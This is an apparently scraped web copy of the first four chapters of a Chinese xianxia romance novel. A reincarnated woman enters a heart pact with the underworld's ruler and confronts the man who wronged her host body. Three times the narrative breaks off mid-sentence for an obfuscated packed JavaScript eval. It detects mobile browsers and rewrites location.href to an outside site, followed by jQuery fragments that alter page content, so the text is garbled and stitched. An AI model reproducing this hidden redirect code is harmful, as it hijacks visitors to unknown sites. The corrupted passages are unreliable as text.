《我跑后暴君他变成阴湿鬼了》 1. 邀请 修真界。 内外冥界,颠倒相生。 众所周知,外冥界的无望崖底,是生人有去无回的黄泉罅;却鲜有人知,崖底另一面的内冥界是何模样…… 这是一个光秃秃的山谷,满目红土,红土之上无数白骨凌乱。抬头看,高空萦绕着浓稠的白雾,似有生命般不安分地蠕动,将天幕遮盖。 “咔擦——” 无意间踩到骨头碎片,白骨碎成齑粉,宛如血红大地上的一块霉斑。 少女浑身僵直,谨慎地抬起头,瞥了眼头顶的浓雾。 前方带路的游魂也因此停下,秀气的远山眉微蹙,手指抵在唇间,示意噤声。 见到这细微的声音并未引起噬灵虫雾的注意,方松了一口气。 少女舔了舔干涩的唇角,缓缓地移开脚。 她琉璃珠般清透灵动的双眸微动,俯身将裙边提到腰间打了个结,只露出一条亵裤。这样更便于行走时看清脚下路况。 游魂见状,有些诧异,但到底是没说什么。放轻动作,打手势示意“继续走”。 此时四下寂寂,静得落针可闻。所以突然出现的若有似无的窸窣声,显得清晰可辨。 身后,有什么东西要来了! 漆瑭捏了捏腰间的结,心里有些紧张,但更多的似乎是某种难为人道的兴奋。 她虽惜命,却又情不自禁对新奇、未知、刺激的东西心生向往,肾上腺素飙升的痛快,能让她有活着的真实感。 这已经不是漆瑭第一次意识到自己性格的极端面了:最出格的那次是有天虫族夜袭,身为“战五渣维修师”的她钻进刚修好的机甲里,从大后方一跃而起,跳进虫潮杀了个昏天黑地。 那一跃,硬生生把自己跃成了军队里出了名的怪胎。 就这样,她在器械师和士兵的队伍里特立独行,像是逆着洋流飘荡的树叶,格格不入。 直到死于一场突如其来的轨道站车祸。 结果又活了,睁开眼,她魂穿进这个修真界,获得了第二次生命。 刚跳过崖的身躯疼痛不绝,喉间弥漫着发甜的血腥味。漆瑭若无其事地将涌到唇齿的闷哼声咽了回去,目光轻轻扫过前方带路的游魂。 这具身体的主人名为季棠,也就是前面那个鬼。 据说是她在濒死之际心有不甘,阴差阳错召唤来漆瑭的魂魄,旨在为她完成执念—— 起因是一个拿季棠当替身的渣男: 是他为了私欲,将她从凡间带上仙途,又诱得她在最无知时心动;也是他为了脱身,剜去她的内丹,令她从修士变成无法修炼的废人。 就连季棠跳无望崖而死,也是因为他没说出口的放弃。 季棠决心报复他。 执念啊。 漆瑭拔下发簪握在手中。她想,她这辈子没有什么执念,能见证别人的执念,也算新奇事一桩。 几乎就在握紧玉簪的瞬间,季棠陡然惊呼:“漆瑭,当心!” 漆瑭反应更快,灵巧地后弯闪避,同时操玉簪反手下扎。迎面扑来拳头大小的蝎兽便被刺穿,汁液迸溅,腐蚀性的液体滴在岩土上,冒出“滋滋”热气! 她将尸体甩至地上,闪转腾挪又避开三四只飞扑来的蝎兽。 然而这仅是先行兵。 身侧陡峭的岩壁上,出现了密密麻麻的漆黑蝎兽群,如潮水般从远处翻涌而来。 高空中噬灵虫组成的白雾,感应到下方若隐若现的躁动,蠕动得愈发疯狂,发出令人牙酸的嗡鸣声。 半透明的季棠急得团团转,隐带哭腔:“怎么办啊漆瑭!你不要死,我……呜呜呜,你死了我该怎么办?” “我不会死的。”漆瑭蓄势待发。 “咦?”季棠黯淡无光的双眼唰得亮了起来,“你可有什么……” 漆瑭立马拔腿朝着不远处的大湖狂奔! “怎么办?当然是跑啊!” 身后的蝎潮逐渐连成黑线,将血红大地涂成密不透风的黑色。 上空的虫雾也被惊动,嗡鸣着聚成雪白恶龙,俯冲而下! 季棠看得心惊胆战,然而身为无法触碰生人的鬼魂,她什么忙也帮不上。 蝎潮、虫雾,穿过半透明的鬼魂,朝着那唯一鲜活的凡人追去。 此时此刻,漆瑭的头脑格外清明。她只有一个念头,那就是跑!拼命跑!跑到湖中! 清醒,刺激,心跳加速,耳膜鼓噪。 黑与白愈发逼近。饥饿已经太久太久了,这一口鲜美的人肉教它们垂涎欲滴。 只差一点就能碰到了……只差一点! 打头的蝎兽与虫雾,分别凝成两颗蓄势待发的黑白蛇头,猛地刺出! 漆瑭浑身的寒毛先人一步察觉到危机感,根根倒竖。 她朝前猛扑,将将避开‘蛇头’的攻击。 黑白蛇头的攻势落空,它们却并不急躁,反而慢条斯理起来,像是天真恶劣逗弄猎物的猫科动物。 因为它们知道,猎物已经逃无可逃了。 漆瑭摔在硬如岩石的地面上,本就隐痛的四肢几乎要散架! 余光所及之处尽是黑白二色,蝎兽与虫潮已将她彻底包围。 她攥紧手中的银簪,不可遏制地浑身发抖。 心头忽然涌出不甘、愤怒,其中掺杂着微妙的兴奋,复杂的情绪如退潮后的礁石,格外醒目。危急之际,心海翻涌,那股子天不怕地不怕的劲变成高涨的潮水,将礁石淹没,激起万丈高! 失去内丹的腹部很冷、很疼。可突然,空荡荡的丹田冒出一簇嫩芽,嫩芽牵引天地灵气涌入枯萎的经脉。剧痛,但清醒。 漆瑭拼尽全力持玉簪一挥,腹部的嫩芽迸出华光,灵力狂涌。簪风竟然化为凌厉剑光,向四周劈去! 黑与白统统凝固。 接着,漆瑭周围十步内的蝎与虫统统失去生机,小雨般洒了满地。 被揠苗助长的内丹嫩芽宛如即将燃尽的烛焰,濒临熄灭。她已经没有力气再来一击了。而外围观察形势的蝎兽与虫潮,又开始蠢蠢欲动了…… 好疼啊,她想,这次是真的要死了吗? 漆瑭不怕死,但不甘就死。她此生忙忙碌碌,隐藏真我以面具示人,不就是为了活得更好吗? 凭什么让她死而复生看到希望,又让她死? 内丹嫩芽的烛焰无可挽留地熄灭了。 少女脸色苍白,双目紧闭,冷汗顺着脸颊滴落,在赤红的岩面上汇成一小泊湖。 然而转瞬,那双眼猛地睁开,如裹着火光的琥珀,无比明亮! 她不愿!她不愿就死! 内丹嫩芽的烛焰“噗”的重新燃起。 微弱,但灼热。 她艰难地收紧五指握紧玉簪,随时准备着再度出击。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579085|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 重新凝聚的黑白双蛇,交缠扭动,一点一点地试探着向少女蛇行。 弱小的猎物有些扎嘴,但它们不以为意。毕竟所有猎物濒死前的挣扎都很疯狂,不过只是一下罢了。 但突然,外围骤然荡开令虫兽胆寒的波动。 蝎兽与虫雾齐齐顿住,紧接着,它们疯了似的慌不择路狼狈逃窜。 可是晚了。 一阵黑气如龙腾,所经之处虫雾尽数化作虫尸。虫尸洒落,如同下了一场连绵不绝的小雨。 雨砸在满地的蝎尸上,“噼里啪啦”一阵乱响。 漆瑭眼也不眨了,全神贯注戒备着。余光中出现了一个被黑气笼罩的人影,走到她身边,蹲下了身。接着,她的面前出现了一只骨节分明的苍白的手。 伸出的手,宛若一个邀请。 危险,非常非常危险。 那苍白莫名的刺目,令人心惊肉跳,险些喘不过气。 漆瑭思索片刻,伸出左手接下了那个邀请。 来人握住她的手,略微用劲,便将少女揽进了怀里。 她实在太虚弱了,身躯软软的,像绸缎做成的娃娃。 少女的睫毛微微颤动,掩藏于其后的眼神却分外坚定。 倏地,内丹嫩芽再度迸出华光,灵力尽数汇入右手,灌注于玉簪。她抬起右手猛地下扎! 一切只发生在电光火石之间,只听“噗呲”一声,玉簪便深深刺入此人的脊背。 狂暴的灵力顺着玉簪涌入体内,誓要将他的五脏六腑搅碎。 她实在太虚弱了,所以她不信任何人。 …… 离大湖仅五步之遥。 天空飘起了小雨,雨线细密,落在地上却并未消失。 原来所有的雨滴,都是噬灵虫的尸体。 撑起的无形灵气罩如巨伞般遮蔽着二人,突然,灵气罩微颤,在那瞬间几欲溃散。 男子闷哼一声,后背登时血流如注。 凌厉狂暴的灵力在体内横冲直撞,他却好似感觉不到痛苦。只是轻轻拍着怀中少女的脊背,哄婴儿般托着她轻晃两下,安抚道:“好了,好了……我来迟了……” 漆瑭体内微弱的内丹嫩芽再度萎缩。持续两次的爆发,已经彻底透支了她的身体。 竟然杀不死他。 他究竟是什么人? 忽的,她感到一缕灵力被轻柔地输送进经脉,四肢百骸传来一股热流。热流抚慰着痛觉,餍足感饱胀,内丹嫩芽慵懒地伸了个懒腰。 被冰凉的手指揉捏着后脑勺,被轻轻摇晃轻轻哄。漆瑭舒服得直想睡觉。 困意强烈的不太正常。 她狠狠咬了一下舌头试图唤回即将涣散的神智,模糊的视线里看到了一双布满灰翳的眼。 黑不是黑,白不是白,整个眼珠是混沌的灰色,朦胧中倒映出她的身影。 “好了,好了……” 困意就像日升月落那样难以抵抗。心念电转,她匆忙挂上一副无辜的表情,雾气攀上了双眸,少女脆弱得像一朵即将凋零的雨中花蕾。她猛地攥住他微凉的手,呢喃道:“我……我不想死,求你……” 接着,就在这个充满血腥味的怀抱里,沉沉地闭上了双眼。 彻底陷入黑甜前,她忽觉眉心一凉,隐约听见他说:“既结心契,同死同生。而且这一种,我与你共享伤痛……” 2. 主动权 漆瑭做了一个梦。 她跑赢了蝎兽与虫潮,跳进了不远处的湖中。湖水温柔地将她包裹,像一个凉而软的怀抱。 再睁开眼,她回到了儿时的湖。 “你们快看,小玉又去恶湖玩水了!” “水妖怎么不吃她?” “嘻嘻,我知道我知道。你们想想,可有谁见过她爸?” “她不是没有爸吗?” “没有爸?不是说她爸嫌弃她和她妈,所以才跑了吗?” “等等……难道说,水妖就是她爸?!” “绝对是了,绝对是了!” “难怪我妈常说小玉是个怪胎,原来因为她爸是妖怪!” “怪胎!”“怪胎!” 孩童的恶往往没有任何理由,恶得天真而纯粹,像明晃晃的刀子往人全身上下扎。 小小的漆瑭游到岸边,拾起几颗石子朝那群小孩丢去,恶狠狠道:“再不滚我叫我爸把你们吃了!骨头渣都不剩!” 小孩们尖叫着一哄而散。 她托着腮帮坐在湖边,稚嫩的小脸遍布忧愁,活像个七老八十的老太,“你真是我爸?”她掰扯着细白的小手数道:“那我想吃奶味饼干、水果味的糖、辣嘴巴的甜水……你能不能给我?” 半晌,湖仍然清澈而平静,她拾起一枚石子打了个水漂,平静地说:“看来不是。” 湖的颜色十分独特,清澈的蓝里透着幽微的绿。 可是渐渐的,那蓝色加深,变为黑色。黑色的瞳孔里泛着淡淡的绿。湖泊变成一只无限放大的人的眼! 她被吓得一个激灵,也就此悠悠转醒。 这是一个陌生房间,窗帘很厚,却只拉开了一条缝。光线很暗,更使她头脑昏沉。 漆瑭坐起身,恍恍惚惚地,看见了坐在黑暗处的一个人。 他双腿交叠,气势极强。周身萦绕着不祥的黑气,薄纱般笼罩着墨色的长发。 裸露在外的肌肤呈现出一种几近苍白的颜色,这种苍白在他身上却不显病弱,反而平添了些许妖异。 极致的白与极致的黑,竟碰撞出奇异的秾艳,令人有些目眩。 然而更惹人注目的,却是那双眼睛。 眼底凝着令人心惊胆战却又无法言说的东西,不轻狂,却视万物为蝼蚁。 那眼神莫名看得人心口发凉。 身下的床也很凉,像整块的大冰坨子,经年累积的寒气丝丝缕缕地往人骨头缝里钻。 漆瑭打了个喷嚏。 这声喷嚏打破了满室寂静。男子动动手指,一个被黑气缠绕困锁的人影便跌在漆瑭的床下。 正是季棠。 她此时满眼惊恐,被捆住的唇齿间泄出挣扎的“唔唔”声。也难怪她如此惊恐,毕竟与她牵连最深的漆瑭也无法与她有肢体触碰,妄论其他人了。 可是那黑气,却能将她捆住。 漆瑭与季棠大眼瞪小眼,眼神你来我往。 漆瑭:他是谁?我怎么在这里?你怎么在这里? 季棠:不知道啊! 漆瑭:他竟看到你了,那我俩的身份岂不是暴露了? 季棠:不知道啊!完蛋了! 好的很,一问三不知。 漆瑭清了清嗓子,想到一个很符合当前世界观的开场白:“先前多谢仙君相救……” 话音未落,暗处的人眯起双眸,便有黑气蛇行般缠绕住漆瑭。他手指一勾,黑气便听话地将少女扯到他脚下。 他居高临下睨着她,极具侵略性的目光捉住她的瞳孔,强硬地拆穿她的情绪。 漆瑭心里咯噔一下,头皮有些发麻。说不好是因为恐惧,还是因为刺激。 “你是什么东西?”他问。 漆瑭的脑筋转得快,慌张时候尤甚。心知把柄捏在人手中,说话就得虚虚实实避重就轻,关键是,不能说谎。 “我是漆瑭。”少女的笑容明透,眼中虽有慌乱,却不见半分诡诈。她甚至还顺便介绍了床下的那只鬼,“她叫季棠。” “哦。一个异世之魂。”易昀似笑非笑,毫不留情地拆穿,几乎是给了她当头一棒,“和一个随时会烟消云散的执念体。” 漆瑭很震惊:他怎么知道我是异世之魂?!我会被土著人民当成非法入侵者搞秘密研究吗? 季棠也很震惊:死不成厉鬼就算了,怎么连鬼也不是?!传闻中的脆皮执念体竟是我自己! 接着,易昀单指轻挑,空中忽然凭白出现了一条血红色的线,一头没入漆瑭的心口,另一头没入他的心口。 漆瑭猛然想起来昏迷前听到的那句话——“心契”、“同死同生”、“共享伤痛”。 “心契是为何而结?”黑气倏地缠上红线,红线巨震,痛得漆瑭倒吸了一口凉气。 心契是这世上罕见的秘术,一旦缔结,唯有服下净离秘境中的扶桑果才能将其抹除。扶桑果离树一刻而亡,故而只能亲身去采摘。可是净离秘境五百年才开一次,下一次……是在三月后。 心契有诸多种类,有的仅能同生共死,有的不仅同生共死,还兼具伤痛共享功能,只看施术者的目的与需求。但无论什么种类,缔结心契都需二人心甘情愿。 可是—— 他怎么会心甘情愿跟别人结心契? 易昀好似感觉不到心契震荡的剜心之痛,仍然面色平静,说出的话却强势高傲至极:“别再耍花招。若是回答让本尊满意,或许可以让你们死得痛快些。” 冥界内敢自称尊上的,恐怕只有那位威名赫赫的冥主。漆瑭心里有了考量,他固然是二人中掌握绝对优势的那一方,比如地位、力量,但她在机缘巧合下,得到了足以填补弱势与他对峙的筹码。 少女抬起头,语气刻意柔柔的,“小女不知,当时我身负重伤,已经神志不清了,什么也不记得。”她垂下头,话风却陡然变得尖锐,“不过尊上,也许您杀不了我,毕竟,你我结了心契。同生,同死。” 此话并非挑衅,只为摆出锋利的态度:我知道你的弱点,你若来强的,那不过是同归于尽。 初次交锋,她反将一军。二人打了个平手。 易昀怔了一下,没想到眼前这东西还有胆子跟他叫板。 黑气陡然一紧,漆瑭被迫抬起头,朝他露出了要害处脆弱的咽喉。他傲慢地俯身,手掌威胁性地覆上那截雪白的颈子,不疾不徐地问:“你是在威胁本尊?” 漆瑭不卑不亢地对视回去。惊讶地发现,他的双眼已不是满目灰翳,瞳仁黝黑,深处淌过幽幽的绿意。像梦境里骤变的湖,神秘,骇人。 “没有,小女不敢。” “不敢?”他慢条斯理地发力,缓缓扼紧近在咫尺的脖颈,“我看你胆子大的很……” 易昀突然顿住了。尽在掌握的从容表情骤然裂开缝隙,眼神宛如淬了毒的剑,狠狠扎在她的身上,恨不能将她千刀万剐似的。 漆瑭知道这是为什么。 当初那人说“共享伤痛”,也就是说她身上的伤与痛,会同步转移到他的身上。他现在说不出话,就是因为用劲太大,掐得她喘不过气。她窒息,他当然也会跟着窒息。 本来漆瑭没多想,但现在看他反应这样大,说明“心契”不仅是真的,而且对他来说极为棘手。 漆瑭想的不错,易昀简直难以置信:那蠢货跟这女人结的心契竟还是伤痛共享?! “好!”他松开对她的桎梏,反而笑了起来,“你真是好的很。” 易昀面无表情的时候,气势迫人而冷峻,危险得明明白白,令人不敢直视。可一旦笑起来,就如拨雾看花,露出昳丽的长相,眼底流淌的绿意愈浓,宛若竹林中一闪而过的毒蛇,令人冷不丁后背发毛。 漆瑭心觉不妙。 下一瞬,他周身黑气如孢子般炸开,磅礴的灵力鼓荡。漆瑭眼前一黑,再睁开眼,竟然进入一间地下囚室。 无尽灯嵌于墙壁,囚笼内的光线昏黄暗沉,囚笼外,看守的鬼将见到身侧凭空出现的来者,敬称一声“尊上”,便垂首退走。 墨色长袍逶地,金线暗纹滚过若隐若现的华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579086|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。易昀惯于以居高临下的姿态俯视一切,独裁而强势。 那个胆敢与他叫嚣的少女,此时狼狈地跌在肮脏的囚笼内,正昂起头,不解地看着他。纵然不解,却无半分惧怕。 漆瑭其实是怕的,但是越怕就越兴奋,大脑也就越清醒。 果然如此,她想。她之所以上来就莽,而不是小心翼翼与他周旋,就是因为想到了会这样——被圈禁,不让她死,却又让她无趣难捱的生不如死。 第一轮交锋若她顺从示弱,那主动权就彻底被他掌控了。她会陷入对“会被圈禁”的无穷担忧中,从而对他万事顺从。 可那不是漆瑭的性格。 她要活,就要活得漂亮。 “你要囚禁我?”她主动问。 易昀不置可否。 漆瑭轻轻一笑,用最轻柔的语气说着最锋利的话:“我是死过一次的人了,我不怕疼,更不怕死……” 她猛地将发簪捅进大腿,知觉先是凝固,随后痛楚就如泄洪的水满肆意漫溢。漆瑭疼得冷汗津津,汗水滚进眼眶,火辣辣的刺痛。视线开始变得模糊。 无尽灯的光晕里,她黑白分明的眸子直勾勾地盯着他,既无挑衅也无示弱,平淡的像白水。水面之下,却是只有自己才知道的暗流汹涌。 当痛感到达顶峰时,她看见他的喉结滚了一下。 …… 易昀的出手比漆瑭预想的还要快。 在她拔出簪子准备再来一下时,黑气便化作长龙卷进囚笼,将她死死缠绕,动弹不得。 “你要用这种方式囚禁我吗?”少女冷笑,“你以为这样我就死不得了?冥主大人,你总不能时时刻刻看住我吧。” 她心一横,牙齿用力咬上舌尖,钝痛侵袭大脑。 周身缠绕的黑气忽分出一缕,强硬地掰开她的双唇,抵住她的上颚,让她难以合上嘴、对上齿。 然而因为她用力的对抗,唇齿、颌骨都隐隐作痛,隐约传来一声“嘎巴”,痛得太阳穴狂跳。 她所有的痛感易昀都能感受到,他手指一抬,黑气便从她口中退出来。因为背对灯源,他整张脸遮在阴影里,神情便也看不真切。 “三月后,解心契。你若是老老实实呆在这里,三月后,活;若是跟着本尊,三月后,死。你要死还是活?” 活未必是活,待在这里的结果也不过是任人拿捏;死也未必是死,只要能出去,焉知三月内她找不到手段逃离? 所以她说:“我要死。” 易昀眯起双眸,打量着她每一个眼神、表情的变化, 末了轻轻一笑,“好,准你死。” 束缚着漆瑭的黑气一松,她像块纸片似的飘落在地上。 易昀抬手朝虚空一抓,一个变异鬼将便被抓来身边。黑气将其困锁,它的瞳孔中燃着两簇蓝紫色的火苗,像两簇鬼火。动作牵连着皮肤龟裂出条条裂纹,裂纹中也闪烁着蓝紫色的光。 在漆瑭疑惑的注视下,易昀面无表情地操纵黑气,将鬼将的身躯剥离得支离破碎。这场面要多残暴有多残暴。 易昀不动声色地瞥了她一眼。 最后,鬼将的身躯变作一地碎石块,只剩一团森然紫火,有生命般挣扎逃窜。黑气继续围攻紫火,它逃不掉了,发出婴儿啼哭的诡异尖叫…… “这就是恶蜮残留的恶念。”易昀操纵黑气将紫火托在手中,亲手将其捏碎,“心契动摇本尊神力,使乾幽结界震荡,被镇恶蜮逃逸。后日,本尊会出冥界追踪恶蜮。既然心契已成,那以后本尊在哪,你就在哪。你可明白?” 漆瑭彻底松了一口气。她深谙过刚则折,既然她的目的已经达到,那说几句好话,缓和一下针锋相对的关系也没什么:“我明白,多谢尊上保护。” 易昀冷哼一声,看向她的眼神却彻底改变了。 就好像之前看她,是拿她当一个扎手的物什,现在却变得分外复杂。漆瑭说不好那算是什么眼神,但她清楚,这局,她赢了。 不是小心翼翼周旋求生,而是釜底抽薪绝处逢生。 3. 渣男 树精生于冥主殿后山。 它们生性温吞,酷爱莳花弄草,故而将冥主殿外打理的花繁叶茂。除了打理花草,它们还负责清洁环境,偶尔也会帮冥主大人煮净神汤。可现在,它们多了一项任务,那就是给凡人做菜。 冥主殿近日出现了一个凡人女子。她睡在冥主寝殿的床上怡然自得,冥主大人也没说什么。 所以树精们揣测,冥主大人也到了发-情的时候了,这凡人女子是他的配偶。 它们拿出浑身解数做了诸多好菜,准备讨好它们的新主人。 叩开房门,树精们头顶着餐盘鱼贯而入。 寝殿内常年闭合的厚重窗帘被拉开了,温暖的阳光洒满半个屋子。斜照的光线里,翻飞的尘埃甚少,可见树精们清洁工作做得很到位。 寝殿的床是由一整块举世稀有的焰冰玉打造而成——此玉孕育于熔岩处,却拥有令人惊叹的极寒属性。 冥主大人爱睡,凡人却不爱。所以那上面铺上了轻柔的床垫与几层滑溜溜的被子。 新主人颇爱自言自语,跟空气讲话。但树精们不会好奇,所以不多看也不多问。将餐盘放于床前桌上,它们又安静地退出。只剩下一个小绿,为它们的辛劳进行一个总结:“仙子,菜已经做好了,您还有什么吩咐嘛?” 漆瑭看着满桌青的、黄的、红的树叶草叶果子们,有一瞬的无语。但摆盘一看就是经过精心设计的,所以她伸手揉了揉半人高的小怪物的脑袋,嘉奖道:“没有了,做得很好,多谢你们。” 绿色的小怪物肉眼可见地变红了,它仓惶地捂住被摸过的脑壳,跌跌撞撞跑走了。 漆瑭满足地喟叹一声,对这拼了老命争取来的自由美好生活感到满意。她挑出几枚杏子边吃边问身边的季棠:“对了,他说的执念体……是什么?” 季棠有些怅惘,有些失神。 执念体,是因生前执念而生的,从生过渡到死的不可逆形态。执念越深,存世越久。 可这千千万万世,无数形态各异的执念体中,存世最久的,却是一位守护孩子一年的仙君母亲。 大多数执念体不过几息、几刻、几日便会消散。 所以—— “漆瑭啊,我没有多少时间了。” 执念体的情感大多单一,往往会变得极为偏执。季棠觉得自己像在沙漠中独行的旅人,遥望执念的海市蜃楼,拼命挣扎。 她这才意识到原来那海市蜃楼,是她到不了的地方。所以惊慌,绝望。 但突然,她发现自己并不孤单。她落入了一个怀抱。 是漆瑭。 尽管这怀抱无形无感,季棠却切切实实地感受到了温暖。彷佛她真的给了她一个触手可及的拥抱。 “会有办法的,来得及,相信我。” 少女的声音充满力量,春雨般洒落在季棠干裂出细纹的心脏上。 季棠张了张嘴,喉咙竟干涩难言。泪意涌入鼻腔,却烫得她想大笑。 …… “咚咚咚。”忽有谁敲门。 竟是那绿色的小怪物去而复返。 “请进。”杏子不够甜,透着微微的酸,漆瑭不喜欢。她另挑出一碟剥好的橘子,橙色的橘瓣上洒着晶莹的液体,似乎是某种调味汁。橘子清香混杂着清爽草香,莫名令人食指大动。 小怪物垂着头,看起来颇为羞涩,“是这样的仙子,我们……我们有一个请求……” “请讲。”她咬了一口沾着调味汁的橘子,酸意顿时直冲天灵盖! “不知可否,可否劳烦仙子……给尊上送碗净神汤呢?” 要说生性温吞的树精们最怕什么,无可訾议的就是给冥主送汤药。对强势强者的恐惧,刻进了它们的生物本能。冥主大人一个眼神瞥过来,它们就怕的想要原地融化。 可是冥主的配偶却不会让它害怕,那柔软的手揉得它好生羞怯!于是它们都知道了,她是一个温柔的凡人。 所以它们想,给冥主送药对温柔的冥主配偶来说,一定是微不足道的小事……吗? 她哭了!!! 小绿吓得脸色煞白,结结巴巴道:“仙子……您不要哭了,是我们的错,我们不该……” “无妨,我可以帮你们。”漆瑭拎起餐巾捂住汹涌的眼泪,“但是你们以后不许再给我吃这个调味汁了……拿几个没剥皮的橘子来,要甜的!” 小绿:啊?! ** “禀尊上,让尘仙君仍在外冥界,说是他身边那位仙子,生要见人,死要见尸。” 前殿内,桌前立着黑白二位鬼将。 黑将禀完,更为圆滑的白将颇有默契地继续解释:“是这样的尊上,让尘仙君每隔三五年就要来咱们冥界讨要琼华仙君仙骸,回回将外冥界毁得不像样。这回我二鬼见他身边跟着位仙子,看起来颇得看重……所以,所以……” 黑将接着道:“所以我们将那位仙子绑了,做了个假仙骸,令让尘仙君从二者中挑选一个,另一个便丢入无望崖。” 白将点点头,神色尴尬地搓搓手,“是的是的,本来我们想……既然那仙子颇得看重,那让尘仙君应该会知难而退,带着那仙子离开就是了……” 易昀抬起头,眼神里流露出显而易见的兴味,示意他继续说。 见冥主似乎没什么怪罪的意思,白将这才敢继续往下说:“熟料……熟料那位仙子颇有气性,嚷着‘用我这飘零之躯换回琼华仙君仙骸’,就……就跳下去了!” 黑将点头附和:“她自己跳的。” 易昀支着下巴,眼神沉沉的。 仙子跳了无望崖,却没在黄泉罅身魂俱灭,反而阴差阳错穿过黄泉罅进入了内冥界。然后身躯被异世之魂占领,魂魄凝为执念体。 原来如此,不过如此。 “不必管他,你们自己去领罚。”易昀眼中的兴味消失,雷厉风行地将此事解决。他垂头继续处理积压的冥界政务,毕竟后日,他就要离开冥界了。被镇千年的恶蜮逃逸,兹事体大,他必须亲自处理。 黑白二将心里泛着苦,面上却半点不敢表露,老老实实地行礼离开。刚走到大门,忽又听见冥主大人吩咐道:“本尊改主意了,让白竹进来。” 与此同时,寝殿内。 三只树精齐力搬进一大筐新鲜采摘的橘子,放在漆瑭床前触手可及的地方。 另两个离开后,小绿眨巴眨巴眼,仰头看着漆瑭,满脸写着“求表扬”。 漆瑭伸手揉了揉它的脑壳,“干得不错。” 小绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579087|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一次浑身上下缓缓变红。 漆瑭敲了敲放在桌上的滚烫镇魂汤,浑不在意似的问道:“这汤,尊上大概多久喝一回?” 单纯的树精不懂人类的弯弯绕绕,挠挠头老实道:“有时一年一回,有时一月一回,总是不固定的。尊上吩咐了,我们才会熬呢!” “哦……”她剥了一瓣橘子喂给树精,“那尊上为何要喝这种汤?看起来这么苦。” 小绿吃着温柔凡人亲手剥的橘子,整只树精飘飘然起来,“苦,苦得很呢!尊上是为了压制心魔呀,除了喝净神汤,偶尔还会遣望山公子来奏镇魂曲,有时候还会去灵湖闭关呢!” “那你们可见过尊上犯心魔的模样?” 小绿头摇得像拨浪鼓,“没有,从没见过。” 漆瑭和身旁隐形人似的季棠对视一眼,心照不宣。 看来当日杀破蝎潮与虫雾,救下漆瑭并与她结了心契的,就是心魔状态的冥主。 就像双重人格一样,他们性格不同,记忆也不同。 可是,心魔态的他为何会与她结心契呢? 漆瑭端起净神汤,跟在带路的小绿身后,往冥主前殿走去。 少女的身影倒映在光洁如镜的玄玉地面上,鹅黄色的裙摆交织,一内一外,颠倒相生。 “啪——” 一卷留影竹简被砸在玄玉地面上,倒影中,一个白衣身影俯身将其捡起。 “这是外冥界损毁的账单,一草一木俱登记在册。”易昀坐于高处,漫不经心道:“另一份本尊已遣人送去玄机宗了,让尘长老,记得赔。” 白竹,也就是让尘仙君。背一柄“破雪”长剑,白袍纤尘不染,长发秀逸,丰神俊朗。生得一副正人君子的好相貌。 他没有正面回应易昀。握紧手中“账单”,脊背挺得笔直,言辞不卑不亢,“敢问冥主,生人若入黄泉罅,可能有何生机?” 易昀此人专断且爱迁怒,他在漆瑭身上栽了跟头,却又不能拿她怎么办,就得从旁人身上找回来。 正巧这时,白竹自己撞上来了:若不是因为白竹,那个执念体怎么会死?那个异世女人又怎么会来到这里,还和他结了心契? 有理有据。 “也许吧。”他的话似是而非,眼神也似笑非笑,存了心要看白竹玩笑似的。 白竹深感耻辱,但是为了棠棠,他决定忍。 他忍得不算好,哪怕看上去很努力地在演了,眉目间也难免露出羞愤与矜傲。他继续道:“冥主可能不知道,当日贵司两位鬼将……” 易昀看得索然无味,莫名想到了漆瑭。 她更会忍,也更会演。一举一动、一颦一蹙都拿捏得恰到好处。平静时如此,激动时也如此。最痛的时候,她眼眶里的泪都要溢出来——可偏偏没有。 她倔强地昂着头,两只眼睛像两汪浅湖。 那会,他突然觉得跟她较劲的自己很没意思。 也许是有了对比,于是高下立判,他竟忽然觉得她倒是有几分有趣。 易昀有些走神,没什么焦距的目光游移,瞥到了自门外走入的一个人影。 凝固般的平静眼神微动,深处的绿意活跃起来,他勾起唇角,好整以暇地问白竹:“你要找的人,是那个吗?” 4. 杏子 人间界分九州,其中珩海州与紫府州凭借实力为首。而珩海州内,又有玄机宗独占鳌头,领袖千载,威望显赫。 白竹,身为上一任玄机宗掌门独子,又称顶级仙二代。含着金汤匙出生,自小到大都站在修真界的金字塔尖上。 他清高,清的是表象,高的是内心。 像临池照水的水仙,颇有几分孤芳自赏的意味。他却站得太高,临得太远,自负而不自知。 白竹固然为季棠的离世痛心,可是当他发现她其实还活着,那股子痛心淡去,转而化为一股斥怒。 为何不相信我能救下你们? 为何如此冲动? 你知不知道这样做的后果是什么? 浅蓝色的眸子里倒映出一抹鹅黄,裹着鹅黄花的春风吹化满池蓝冰。 他眉头轻轻拢起,喉结滚动,声音竟是意料之外的沙哑:“棠棠……” 突如其来的碰面有些猝不及防,漆瑭不动声色,看来这就是季棠口中的让尘仙君白竹了。 